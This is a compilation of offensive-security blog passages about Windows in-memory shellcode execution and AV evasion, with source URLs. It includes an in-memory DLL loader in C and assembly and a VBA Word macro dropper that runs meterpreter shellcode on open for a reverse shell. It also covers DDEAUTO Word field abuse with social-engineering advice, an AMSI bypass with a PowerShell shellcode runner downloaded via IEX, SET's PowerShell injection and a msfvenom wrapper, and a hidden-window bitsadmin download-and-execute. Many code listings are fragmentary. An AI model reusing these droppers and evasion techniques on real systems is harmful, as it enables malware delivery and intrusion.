• The declared function pointer is than assigned the address of the code to execute (as
any variable would be assigned with a value, the func pointer is assigned with an
address)
• Finally the function pointer is called, meaning the execution flow is directed to the
assigned address.
Applying the same steps as above we can analyse this in memory with WinDbg, which takes us
to the following:
The key steps that lead to code execution in this case are the following:
• The shellcode, contained in a local variable, is pushed onto the stack during
initialization (relatively close the ebp, as this is one of the first things to happen in the
main-method)
• The shellcode is loaded from the stack into eax as shown at address 0x00fd1753
Referring back to the virtual memory layout of a single process shown above, it is stated that
the stack is only marked as RW memory section with regards to DEP. The same problem
occurred before with dynamic allocation of heap memory, in which case a WinAPI function
(VirtualAlloc) was used to mark the memory section as executable. In this case we’re not using
any WinAPI functions, but luckily we can simply disable DEP for the compiled executable by
setting the /NXCOMPAT:NO flag (for VisualStudio this can be set within the advanced Linker
options). The result is happily executing shellcode.
So far we have achieved code execution within the heap and the stack, which are both not
executable by default and therefore we were required to use WinAPI functions and disabling
DEP respectively to overcome this.
We could avoid using such methods with code execution in a memory region that is already
marked as executable.
A quick reference back to the memory layout above shows that the .TEXT segment is such a
memory region.
The .TEXT segment needs to be executable, because this is the section that contains your
executable code, such as your main-function.
Sounds like a suitable place for shellcode execution, but how can we place and execute
shellcode in this section. We can’t use WinAPI functions to simply move our shellcode into
here, because the .TEXT segment is not writable and we can’t use function pointers as we
don’t have a reference in here to point at.
#include <Windows.h>
int main() {
asm(".byte 0xde,0xad,0xbe,0xef,0x00\n\t"
"ret\n\t");
return 0;
To compile this code the GCC compiler is required, due to the use of the “.byte” directive.
Luckily there is a GCC compiler contained in the MinGW project and we can easily compile this
as follows:
Viewing this in IDA reveals that our shellcode has been embed into the .TEXT segment (IDA is
just a bit more visual than WinDbg here):
The defined shellcode ‘0xdeadbeef’ has been placed within the assembled code right after the
call to __main, which is used as initialization routine. As soon as the __main function finishes
the initialization our shellcode is executed right away.
RWX-Hunter Execution
Last, but not least, after using the default executable .TEXT segment for code execution and
creating non-default executable memory sections with WinAPI functions and by disabling DEP,
there is one last path to go, which is: Searching for memory sections that have already been
marked as read (R), write (W) and executable (X) – which i stumbled across
reading @subTee post on InstallUtil’s help-functionality code exec.
The basic idea for the RWX-Hunter is running through your processes virtual memory space
searching for a memory section that is marked as RWX.
The attentive reader will now notice that this only fulfils only 1/3 of the defined steps for code
execution, that i set up initially, which is: Finding executable memory. The task of how to get
your shellcode into this memory region and how to direct the code flow to there is not covered
with this approach. However, the concept still fits well in this guide and is therefore worth
mentioning.
The first question that needs to be answered is the range of where to search for RWX memory
sections. Once again referring back to the initial description of a processes private virtual
memory space it is stated that a processes memory space spans from 0x00000000 to
0x7FFFFFFFF, so this should be the search range.
The Code-Snippet, which I’ve ported to C from @subTee C# gist here, to implement this could
look like the following (honestly i prefer this in C#, but since all of the above code is in C i stick
to consistency):
long address = 0;
do
MEMORY_BASIC_INFORMATION m;
if (m.AllocationProtect == PAGE_EXECUTE_READWRITE)
return m.BaseAddress;
break;
This implementation is pretty much straight forward for what we want to achieve. A processes
private virtual memory space (the user land virtual memory space) is searched for a memory
section that is marked with PAGE_EXECUTE_READWRITE, which again maps to 0x40 as seen in
previous examples. If that space is found it is returned, if not the next search address is set the
next memory region (BaseAddress + Memory Region).
To complete this into code execution your shellcode needs then to be moved to that found
memory region and executed. An easy way to do this would to fall back to WinAPI calls as
shown in the first technique, but the CONs of that approach should be considered as stated
above. At the end of this post I’ll share usable PoCs for references of how this could be
implemented (for the RWX-Hunter you might also want to check
out @subTee’s implementation linked above).
For the creative minds: There are also other techniques (some of them are surely still to be
uncovered) to achieve steps 2. & 3.. To get shellcode into the found memory region (Step 2.) a
Write-What-Where condition could become useful, as for example used in the
AtomBombing technique that came up a few years back (the technique was initially
published here). To finally execute the placed shellcode (Step 3.) ROP-gadgets might become
useful… (a good introduction to ROP gadgets can be found here or on Wikipedia).
https://www.contextis.com/en/blog/a-beginners-guide-to-windows-shellcode-execution-
techniques
In March 2002, the infamous group 29A published their sixth e-zine. One of the articles
titled In-Memory PE EXE Execution by Z0MBiE demonstrated how to manually load and run a
Portable Executable entirely from memory. The InMem client provided as a PoC downloads a
PE from a remote TFTP server into memory and after some basic preparation executes the
entrypoint. Of course, running console and GUI applications from memory isn’t that
straightforward because Microsoft Windows consists of subsystems. Try manually executing a
console application from inside a GUI subsystem without using NtCreateProcess and it will
probably cause an unhandled exception crashing the host process. Unless designed for a
specific subsystem, running a DLL from memory is relatively error-free and simple to
implement, so this post illustrates just that with C and x86 assembly.
Proof of Concept
Z0MBiE didn’t seem to perform any other research beyond a PoC, however, Y0da did write a
tool called InConEx that was published in 29A#7 ca. 2004. Since then, various other
implementations have been published, but they all seem to be derived in one form or another
from the original PoC and use the following steps.
4. Apply relocations.
Today, some basic loaders will also handle resources and TLS callbacks. The following is
example in C based on Z0MBiE’s article.
typedef struct _IMAGE_RELOC {
} IMAGE_RELOC, *PIMAGE_RELOC;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
PIMAGE_IMPORT_BY_NAME ibn;
PIMAGE_IMPORT_DESCRIPTOR imp;
PIMAGE_RELOC list;
PIMAGE_BASE_RELOCATION ibr;
DWORD rva;
PBYTE ofs;
PCHAR name;
HMODULE dll;
ULONG_PTR ptr;
DllMain_t DllMain;
LPVOID cs;
DWORD i, cnt;
dos = (PIMAGE_DOS_HEADER)base;
cs = VirtualAlloc(
NULL, nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
sh = IMAGE_FIRST_SECTION(nt);
memcpy((PBYTE)cs + sh[i].VirtualAddress,
(PBYTE)base + sh[i].PointerToRawData,
sh[i].SizeOfRawData);
rva = nt-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// Load it
dll = LoadLibrary(name);
// No API left?
if (oft->u1.AddressOfData == 0) break;
// Resolve by ordinal?
if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
} else {
// Resolve by name
// 4. Apply Relocations
rva = nt-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
while(ibr->VirtualAddress != 0) {
if(list->type == IMAGE_REL_TYPE) {
list++;
ibr = (PIMAGE_BASE_RELOCATION)list;
// 5. Execute entrypoint
x86 assembly
Using the exact same logic except implemented in hand-written assembly … for illustration of
course!.
; odzhan
%include "ds.inc"
bits 32
struc _ds
endstruc
%ifndef BIN
global load_dllx
global _load_dllx
%endif
load_dllx:
_load_dllx:
dd 0x38194E37 ; VirtualAlloc
dd 0xFA183D4A ; LoadLibraryA
dd 0x4AAC90F7 ; GetProcAddress
init_api:
push TEB.ProcessEnvironmentBlock
pop ecx
get_apis:
pushad
jmp get_dll
next_dll:
get_dll:
mov ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress
IMAGE_OPTIONAL_HEADER32.DataDirectory + \
IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
IMAGE_DATA_DIRECTORY.VirtualAddress]
jecxz next_dll
lodsd
; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
lodsd
; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
lodsd
; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
lodsd
get_name:
pushad
cdq ;h=0
hash_name:
lodsb
ror edx, 8
dec eax
jns hash_name
popad
stosd
inc edx
; dos = (PIMAGE_DOS_HEADER)ebx
push ebx
; esi = &nt->OptionalHeader.AddressOfEntryPoint
IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint - 30h]
IMAGE_OPTIONAL_HEADER32.DataDirectory + \
IMAGE_DIRECTORY_ENTRY_IMPORT * IMAGE_DATA_DIRECTORY_size + \
IMAGE_DATA_DIRECTORY.VirtualAddress - 30h]
IMAGE_OPTIONAL_HEADER32.DataDirectory + \
IMAGE_DIRECTORY_ENTRY_BASERELOC * IMAGE_DATA_DIRECTORY_size + \
IMAGE_DATA_DIRECTORY.VirtualAddress - 30h]
; cs = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
push PAGE_EXECUTE_READWRITE
xchg cl, ch
push ecx
IMAGE_OPTIONAL_HEADER32.SectionAlignment]
push 0 ; NULL
IMAGE_FILE_HEADER.NumberOfSections - 30h]
; edx = IMAGE_FIRST_SECTION()
IMAGE_FILE_HEADER.SizeOfOptionalHeader - 30h]
map_section:
pushad
rep movsb
popad
loop map_section
pushad
jecxz imp_l2
imp_l0:
jecxz imp_l2
; dll = LoadLibrary(name);
push ecx
imp_l1:
btr ecx, 31
jc imp_Lx ; IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)
imp_Lx:
push edx
push ecx
push edx
pop edx
jmp imp_l1
imp_l2:
popad
reloc_L0:
; while (ibr->VirtualAddress != 0) {
jecxz call_entrypoint
reloc_L1:
lodsw ; ax = *(WORD*)list;
; ibr = (PIMAGE_BASE_RELOCATION)list;
reloc_L2:
jne reloc_L1
jmp reloc_L0
call_entrypoint:
%ifndef EXE
%else
%endif
call ebx
ret
Running a DLL from memory isn’t difficult if we ignore the export table, resources, TLS and
subsystem. The only requirement is that the DLL has a relocation section. The C generated
assembly will be used in a new version of Donut while sources in this post can be found here.
https://modexp.wordpress.com/2019/06/24/inmem-exec-dll/
Running ShellCode in Memory | AV Evasion – VBA Version
If you try to download an executable to get a reverse shell on a system, it most likely will be
detected and blocked by either host-based network monitoring system or AV/EDR sweeps it
off, so this post we will discuss how to be stealthier and execute shell code in memory.
For the sake of this example, I am going to use a word macro as a dropper to do this.
2) Copy our shell code into our allocated memory from step 1
1) Using VBA
2) Using Powershell
In this post, we will discuss how we can get this to work with VBA:
1) VirtualAlloc
2) RtlMemory
3) CreateThread
a) We are using 32bit arc for the meterpreter shell since MS word by default runs on 32-bit Arc
b) We are using “thread” as exit func instead of “process” to avoid our MS word getting
terminated when shell exits
Read the MSDN docs to understand how the function used works:
1) VirtualAlloc
2) rtlmovememory
3) Create Thread
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr,
ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Function MyMacro()
data = buf(counter)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Once you have this, save the word document in macro format such as .doc or .docm
exploit
Once, the victim opens the macro document the shell code runs in memory and we get a
reverse shell:
Now this is a low-profile technique, but there are some issues with this:
1) The shell code present in word document which is saved on hard drive might get detected
by the AV
2) Whenever the word file is closed the session get terminated since the SPAWNED process is
a child of word file.
I will write up on this in a different post, but I will give the folks reading this post a chance to
try it for themselves, so here are some clues:
1) Use Powershell for this, Powershell cannot interact with win32 API directly, so use C# with
the help of .NET framework (DllImportAttribute class).
Ref: P/Invoke
Sub ShellCodeRunner()
https://san3ncrypt3d.com/2021/08/13/VBAShell/
Using Microsoft documents to deliver a payload is as old as Word itself, and over the years
many different attack vectors have been explored. Some examples are macros, add-ins,
actions, and Object Linking and Embedding (OLE). They were all plagued by one problem
though, security alerts.
This is an example of the type of security warning that comes up when using a macro.Image by
Code/Null Byte
Wouldn't it be nice if Microsoft was kind enough to build us a "feature" that would let us get
around those pesky security alerts? Luckily for us, they did, Dynamic Data Exchange. Although
it wasn't intended for that, of course.
Windows provides several methods for transferring data between applications. One method is
to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set of messages and
guidelines. It sends messages between applications that share data and uses shared memory
to exchange data between applications. Applications can use the DDE protocol for one-time
data transfers and for continuous exchanges in which applications send updates to one
another as new data becomes available.
— Microsoft
To put that in simple terms, DDE executes an application and sends it data. We can use it to
open any application, including command prompt, and send it data, or in our case, code.
This means we can create a Word document that runs code on opening. What code you run is
up to you!
You can just use this to scare friends as a simple prank, or you could use it to install a Remote
Access Tool like Pupy. It only takes a few seconds to modify a Word document, so let's see how
it's done.
Don't Miss: How To Use Pupy, A Linux Remote Access Tool
Begin by opening a new Word document. Now, we need to do some social engineering.
Conversely, if you happen to have access to the target's computer, you can open a recent
document of theirs that they are likely to open again. If you do that, you can skip the rest of
this step.
While the user will not get any security warnings, there will still be two pop-ups they get when
they open the document. They also need to say yes to both for the code to execute. A previous
article on Word hacking went over some social engineering tricks we can use.
Check Out: How To Create & Obfuscate A Virus Inside A Microsoft Word Document
This social engineering attack takes advantage of the fact that the user can see the document
when the pop-up appears. This lets us put something at the top of the document to make the
document appear more legitimate to the user.
Below are two examples of documents used to get a user to enable macros. Our attack doesn't
require macros to be enabled, but these are excellent examples of making a document appear
legitimate.
Now that we have some social engineering in place we are ready to move on to adding a field.
The field will contain the code we are going to execute, so we need to find a good place for it.
The most important thing to consider here is whether or not it matters if the user finds your
code.
Without further inspection, all they will see is "!Unexpected End of Formula," which could be
worked into the social engineering attack. Depending on your situation, try to place it
somewhere appropriate. Placing it at the very bottom of the document is a good choice, or if it
is a longer document, bury it in the middle somewhere.
Once you have your place selected, go to the top left and click the "Insert" tab and then look
for "Quick Parts" on the right side of the bar, it's exact location may be slightly different
depending on which version of Word you are using.
After the last step, you should have had "!Unexpected End of Formula" appear within the
document. That is our field, but to put code in it, we need to toggle it. Do so by right-clicking
the field, and then clicking "Toggle Field Codes," which should change the appearance of the
field.
Now you should see something like this.
As you can probably guess, DDEAUTO is telling Word that this is a DDE field, the auto part tells
it to execute upon opening.
After that comes the path it should take, which allows us to direct it to any PE. The final part,
within the quotation marks, is the arguments to pass to the executable. For testing purposes,
we can pass cmd.exe arguments to launch a calc.exe.
In the end, you should have something that looks like this.
Once everything is in place, we are ready to save the file. Press Ctrl + S to save, then save it
anywhere as a ".docx" file, which is the standard for Word.
When opened, the user will need to say yes to two pop-ups. The first is about updating the
document links, which shouldn't strike the average user as suspicious.
The second one might draw some attention from the more security-minded users, as it asks
them about starting an application.
If all goes well and the user says yes to both, then the code will execute at this point and your
target will do a fright to themselves.
Today we've looked at a quick and simple way to cause code to execute when a word
document is opened. While this isn't unique, what is special about this attack is that the word
"security" is never mentioned, allowing a much greater chance of a social engineering attack
succeeding.
If you're a Windows user, you should be careful of these and other warnings that may indicate
another program is attempting to execute, or that a file is either requesting outside recourses
or needs unusual permissions to run. In all of these instances, your default reaction to a
window like this popping up should be to deny permission.
While in this guide we only looked at a simple proof of concept tests, it wouldn't require much
modification to make this very dangerous. All this goes to remind you that a single slip-up in
the opening of a Word document can lead to a huge headache, or in this case, a frightfull
spook.
https://null-byte.wonderhowto.com/how-to/execute-code-microsoft-word-document-
without-security-warnings-0180495/
The beautiful thing about .NET is how portable it is. Microsoft is really good about integration
throughout their entire ecosystem. This also gives attackers more attack surface to take
advantage of. An example of this is transforming our original payload to PowerShell.
We can import kernel32.dll from our original payload by importing it as a type as shown below.
With Kernel32.dll loaded in our PowerShell runspace, we are free to invoke our shellcode
runner. If the following functions do not make sense, I urge you to reread part 1 for a deeper
explanation of VirtualAlloc,WaitForSingleObject, and CreateThread. Sample code is shown
below. A clever reader will notice we are missing our fancy Array.Reverse() method. We have
another nifty bypass and its not needed. Stay tuned to find out why.
Let’s test our PowerShell Shellcode runner by invoking it with IEX over http traffic. I have
named the powershell script local.txt and have added it to /var/www/html/ webroot in Kali.
Let’s pull it with System.Net.Webclient and invoke with IEX
Drats!!!!
it appears AMSI picked up our script. To continue, we will need to understand how AMSI
operates.
AMSI, or AntiMalware Scan Interface, is a newish Antivirus technology from Microsoft that
scans for malicious activity in memory. At the time of writing this, AMSI is integrated into
PowerShell, WScript, CScript, and DotNet executables. I plan on doing a deeper dive discussion
on ‘patching’ in a future post, so we won’t get super in depth with this yet. At a high level,
once PowerShell is invoked, amsi.dll is injected into the process and executed.
AMSI_Scan_Buffer is then used to scan for malicious activity. Because of the way AMSI is
currently implemented, the namespace can also patch back into it. Matt Graber wrote the
original AMSI bypass for patching the Scan Buffer function to all return clean here. This has
been ‘fixed’ by Microsoft by adding that as a known malicious signature. As we saw in part 1,
signature detection isn’t very good and can be bypassed fairly easily. The site amsi.fail was
setup to create amsi bypasses. We can easily pull down a payload and get around AMSI to
allow our script to run. We will need to keep trying payloads in PowerShell until one works as
intended.
We now have a functioning AMSI bypass, with that in place. We can run our ShellCode Runner
as intended. Make sure to Enable Stage Encoding in MSF or it will get flagged by AV after
dropping the second stage meterpreter shell.
Back to C#
Microsoft really loves integration, so it makes sense that we can invoke PowerShell within our
C# app. A quick google search fetches us the official MS doc on how to invoke Powershell in
C#. Let’s create a new C# project and add the exact commands listed in the documentation.
For this to work, a Reference will need added to Visual Studio with the dll path at
c:\Windows\assembly\GAC_MSIL\System.Management.Automation...
The full code can be seen below for our new PowerShell invoking binary. I like to use Raika’s
Hub to encode our required PowerShell commands to one line for ease of execution.
Let’s build and test our new application against AntiScan.me
0/26 detections. This is due to our small application calling other methods outside of the
binary and pulling the values straight into memory. We have erased all malicious signatures
from the binary. Since we stripped AMSI from the binary as well, in-memory protections have
decreased as well. Let’s execute the payload on our client to test the result in real time.
We indeed get a working shell.
This includes AV Evasion Part 2. Share the post if you liked it and I Hop to see everyone next
time.
https://0xhop.github.io/evasion/2021/05/26/evasion-pt2/
Powershell Commands
https://themayor.notion.site/53512dc072c241589fc45c577ccea2ee?v=7b908e7e76a9416f98f
40d9d3843d3cb
As an example: Let’s say we want to use psexec_command within Metasploit. We generate our
PowerShell injection through SET which will inject shellcode straight into memory based on the
wicked and awesome research from Matthew Graeber http://www.exploit-
monday.com/2011/10/exploiting-powershells-features-not.html. We need a way to ensure
reliability on both X86 and x64 bit platforms.
This has been problematic in the past and within SET. In order to overcome this, SET had to
specify if you wanted x64 or x86 or setup two listeners. One listener would be something like
windows/meterpreter/reverse_tcp while the other would be
windows/x64/meterpreter/reverse_tcp. One listening on 443, other on 444. This isn’t ideal but
has been the main method up until now.
In order to get non selective shellcode injection based on architecture, we need to somehow
determine if the platform is x86 or x64. We could simply look if we are x86 or AMD64 and
select each shellcode based on the architecture. Architecture lookup here:
Unfortunately, if we include both shellcode for 32 and 64 bit platforms, when we do our
execution restriction bypass attack on the command line, the arguments are to long and we no
longer have the ability to stay straight in memory.
In order to overcome this, we can call the x86 PowerShell instance based on platform type if
we are running in x64. The code is below and will be released in the next version of SET:
function Generate-ShellcodeExec
# this is our shellcode injection into memory (one liner) shellcode is just a simple Metasploit
payload=windows/exec cmd=calc
$shellcode_string = @"
"@
$goat =
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($shellcode_strin
g))
write-output $goat
function Execute-x86
# if we are running under AMD64 then use the x86 version of powershell
$thegoat = Generate-ShellcodeExec
else
$thegoat = Generate-ShellcodeExec
Execute-x86
In the above code snippet, we detect if we are in a 64 bit platform, if we are, we call our
shellcode injection and convert our injection code to Unicode + Base64 encode here:
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($shellcode_strin
g))
Then pass it to a new encodedcommand call to the x86 PowerShell. Otherwise, then just run
normally. Vala – we now have the ability to use native x86 shellcode inside of PowerShell. In
this instance, we can wrap it into one line, unicode and base64 encode it and we now have our
one liner.
Our result when we use x86 meterpreter on a x64 operating system? Below:
Now we need to add this all to one line in order to do the execution restriction bypass. Code
modified below to fit all on one line:
Next all we would need to do is replace the shellcode, unicode and base64 encode the above
and you will have a working one liner. These changes will be released into the Java Applet and
PowerShell Injection techniques in the upcoming SET release.
UPDATE 05/30/2013: While doing some troubleshooting with Chris Gates (Carnal0wnage) we
figured out that while the reverse_tcp meterpreter shell will work fine, since the HTTPS
reverse stager is larger – it will fail because it cuts off about 50 characters. In order to fix this,
we have to revise the above code just slightly. Below is a down and dirty non pretty python
code that will automatically create any Metasploit payload and do the right format for you and
base64 encode the bypass. Enjoy!
import base64,re,subprocess,sys
def generate_shellcode(payload,ipaddr,port):
data = proc.communicate()[0]
data = data.rstrip()
# return data
return data
shellcode = shellcode.rstrip()
# sub in x for 0x
# base counter
counter = 0
# count every four characters then trigger mesh and write out data
mesh = ""
# ultimate string
newdata = ""
counter = counter + 1
if counter == 4:
mesh = ""
counter = 0
shellcode = newdata[:-1]
#print powershell_code
try:
payload = sys.argv[1]
ipaddr = sys.argv[2]
port = sys.argv[3]
format_payload(payload,ipaddr,port)
except IndexError:
print r"""
,_
_ ` ) ,
`| / |_/
.-. , _/ ` ' |/
`/ ,; ' , /_,
) | /| | | `/
| b/ / ; / .'
| _.'| ; | /__,
| / | .' | /
|, _ | | _.'
| 7/ / '.. .' /_ , ,_ ,
` ; | / |` /
| <' ,_ Y |/
(.-.`'--'' .. '-. /,
/ / ;.-'`
/` .;;' ; `
/` _.'
| _.--'`
(`(
'.'.
.` ,. ) )
.'`. '_.-'.-'
_,-'` _.-'`_.-`
.' _.'`.-`
'---` `--`
"""
print "Real quick down and dirty for native x86 powershell on any platform"
print "n"
https://www.trustedsec.com/blog/native-powershell-x86-shellcode-injection-on-64-bit-
platforms/
Hola, as I'm sure you know by now PowerShell, aka Microsoft's post-exploitation language, is
pretty awesome! Extending PowerShell with C#\.NET means that you can do pretty much
anything. Sometimes, native PowerShell functionality is not enough and low-level access to the
Windows API is required. One example of this is the NetSessionEnum API which is used by
tools such as NetSess and Veil-Powerview to remotely enumerate active sessions on domain
machines. In this post we will look at a few examples that will hopefully get you going on
scripting together you own Windows API calls!
It should be noted that the examples below are using C# to define the Windows API structs.
This is not optimal from an attackers perspective as the C# compilation will write temporary
files to disk at runtime. However, using the .NET System.Reflection namespace adds some
overhead to what we are trying to achieve. Once the basics have been understood, it is
relatively easy to piggyback the great work done by Matt Graeber to get true in-memory
residence.
Resources:
+ Pinvoke - here
+ Use PowerShell to Interact with the Windows API: Part 1 - here
+ Use PowerShell to Interact with the Windows API: Part 2 - here
+ Use PowerShell to Interact with the Windows API: Part 3 - here
+ Accessing the Windows API in PowerShell via .NET methods and reflection - here
+ Deep Reflection: Defining Structs and Enums in PowerShell - here
Download:
+ Invoke-CreateProcess.ps1 - here
+ Invoke-NetSessionEnum.ps1 - here
User32 : : MessageBox
Creating a message box is probably one of the most straight forward examples as the API call
requires very little input. Make sure to check out the pinvoke entry for MessageBox to get a
head-start on the structure definition and the MSDN entry to get a better understanding of the
structure parameters.
);
This easily translates to c#, it is almost a literal copy/paste of the example on pinvoke.
?
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[DllImport("user32.dll", CharSet=CharSet.Auto)]
"@
[User32]::MessageBox(0,"Text","Caption",0) |Out-Null
Obviously you can change the parameters you pass to the message box function, for example
the message box type.
[User32]::MessageBox(0,"Text","Caption",0x4)
User32 : : CallWindowProc
Let's try something a bit more complicated, what if we wanted to call an exported function
inside a dll. Basically we would need to perform the following steps.
There is some cheating here, CallWindowProc will only work if the function does not expect
any parameters. However for demonstration purposes it suites our needs.
User32.dll contains a function (LockWorkStation) which can be used to lock the user's desktop.
The code to execute that function can be seen below.
function Instantiate-LockDown {
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
IntPtr hModule,
string procName);
[DllImport("user32.dll")]
IntPtr wndProc,
IntPtr hWnd,
int msg,
IntPtr wParam,
IntPtr lParam);
"@
$LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
if ([System.IntPtr]::Size -eq 4) {
else {
}
echo "Locking user session..`n"
[User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
After logging back in we can see the output provided by the function.
On the back of the previous example let's try the same thing with a DLL that was generated by
msfvenom.
I haven't personally had much occasion to use the metasploit DLL payload format as it never
seem to do exactly what I need. To edify the situation I had a quick look in IDA which revealed
that everything is exposed through DLLMain.
In an pretty humorous twist, further investigation revealed that the DLL is not actually
using WinExec! Instead, the DLL sets up a call to CreateProcess.
The call is a bit odd, it looks like CreateProcess is starting "rundll32.exe" in a suspended state
(dwCreationFlags = 0x44). I'm not sure why "rundll32.exe" is placed in lpCommandLine as it
would normally be in lpApplicationName, regardless it is perfectly valid as lpApplicationName
can be NULL in which case the first parameter of lpCommandLine would be treated as the
module name.
The shellcode then gets a handle to the process, injects a payload byte array and resumes the
thread.
Coming back to our initial goal, executing the payload from PowerShell is pretty straight
forward. As everything is in DLLMain we would only need to call LoadLibrary with the
appropriate path to the DLL. The one complication is that PowerShell will freeze once we make
the LoadLibrary call, to avoid this we can use Start-Job to background the process.
function Instantiate-MSFDLL {
$ScriptBlock = {
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[MarshalAs(UnmanagedType.LPStr)]string lpFileName);
"@
[Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
So far we have had it pretty easy, all the API calls have been relatively small and
uncomplicated. That is not always the case however, a good example is the CreateProcess API
call. It happens sometimes that you need to run a command on a remote machine, but ... it
pops up a console window. I've run into this issue a few times and there is not really a
straightforward solution (don't even think of proposing a VBS wrapper). Fortunately, if we go
down to the Windows API we find CreateProcess which offers much more fine-grained control
over process creation, including the ability to remove the GUI window of console applications.
It still dismays me that in PowerShell, the "-WindowStyle Hidden" flag does not somehow hook
into CreateProcess to hide the console completely.
Either way, having a function which can take full advantage of CreateProcess would be very
useful from time to time. Let's see if we can make that happen. Remember to
consult pinvoke for C# examples.
Resources:
+ CreateProcess - here
+ STARTUPINFO - here
+ PROCESS_INFORMATION - here
+ SECURITY_ATTRIBUTES - here
);
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
[StructLayout(LayoutKind.Sequential)]
[DllImport("kernel32.dll", SetLastError=true)]
string lpApplicationName,
string lpCommandLine,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
"@
# StartupInfo Struct
# ProcessInfo Struct
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
# CreateProcess --> lpCurrentDirectory
# Call CreateProcess
The flags which were set above should create a "cmd.exe" process that has no window, which
in turn launches calc. In fact you can confirm cmd has no associated window with process
explorer.
Obviously repurposing this code is a bit bothersome so I poured in into a nice function for
reuse.
PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
NAME
Invoke-CreateProcess
SYNOPSIS
0x00000000 (NONE)
0x00000001 (DEBUG_PROCESS)
0x00000002 (DEBUG_ONLY_THIS_PROCESS)
0x00000004 (CREATE_SUSPENDED)
0x00000008 (DETACHED_PROCESS)
0x00000010 (CREATE_NEW_CONSOLE)
0x00000200 (CREATE_NEW_PROCESS_GROUP)
0x00000400 (CREATE_UNICODE_ENVIRONMENT)
0x00000800 (CREATE_SEPARATE_WOW_VDM)
0x00001000 (CREATE_SHARED_WOW_VDM)
0x00040000 (CREATE_PROTECTED_PROCESS)
0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
0x04000000 (CREATE_DEFAULT_ERROR_MODE)
0x08000000 (CREATE_NO_WINDOW)
0x0000 (SW_HIDE)
0x0001 (SW_SHOWNORMAL)
0x0001 (SW_NORMAL)
0x0002 (SW_SHOWMINIMIZED)
0x0003 (SW_SHOWMAXIMIZED)
0x0003 (SW_MAXIMIZE)
0x0004 (SW_SHOWNOACTIVATE)
0x0005 (SW_SHOW)
0x0006 (SW_MINIMIZE)
0x0007 (SW_SHOWMINNOACTIVE)
0x0008 (SW_SHOWNA)
0x0009 (SW_RESTORE)
0x000A (SW_SHOWDEFAULT)
0x000B (SW_FORCEMINIMIZE)
0x000B (SW_MAX)
0x00000001 (STARTF_USESHOWWINDOW)
0x00000002 (STARTF_USESIZE)
0x00000004 (STARTF_USEPOSITION)
0x00000008 (STARTF_USECOUNTCHARS)
0x00000010 (STARTF_USEFILLATTRIBUTE)
0x00000020 (STARTF_RUNFULLSCREEN)
0x00000040 (STARTF_FORCEONFEEDBACK)
0x00000080 (STARTF_FORCEOFFFEEDBACK)
0x00000100 (STARTF_USESTDHANDLES)
SYNTAX
Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-
ShowWindow]
DESCRIPTION
PARAMETERS
-Binary <String>
Required? true
Position? 1
Default value
-Args <String>
Required? false
Position? 2
Default value
-CreationFlags <Int32>
Required? true
Position? 3
Default value
-ShowWindow <Int32>
Required? true
Position? 4
Default value
-StartF <Int32>
Required? true
Position? 5
Default value
<CommonParameters>
"get-help about_commonparameters".
INPUTS
OUTPUTS
-------------------------- EXAMPLE 1 --------------------------
-StartF 0x1
NONE/SW_NORMAL/STARTF_USESHOWWINDOW
Here we are just launching plain calc without any fluff.
CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW
Here cmd is launched in a new console and is displayed normally.
CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
Here cmd is being called with no window, which in turn executes a bitsadmin command to
grab and execute a binary from the greyhathacker domain.
Netapi32 : : NetSessionEnum
For our final example we will have a look at the NetSessionEnum API. This is a great little API
gem, especially when it comes to redteaming, it allows a domain user to enumerate
authenticated sessions on domain-joined machines and it does not require Administrator
privileges. As I mentioned in the introduction, there are already great tools that leverage this,
most notably NetSess and Veil-Powerview. The script below is very similar to "Get-
NetSessions" in powerview except that it is not using reflection.
function Invoke-NetSessionEnum {
<#
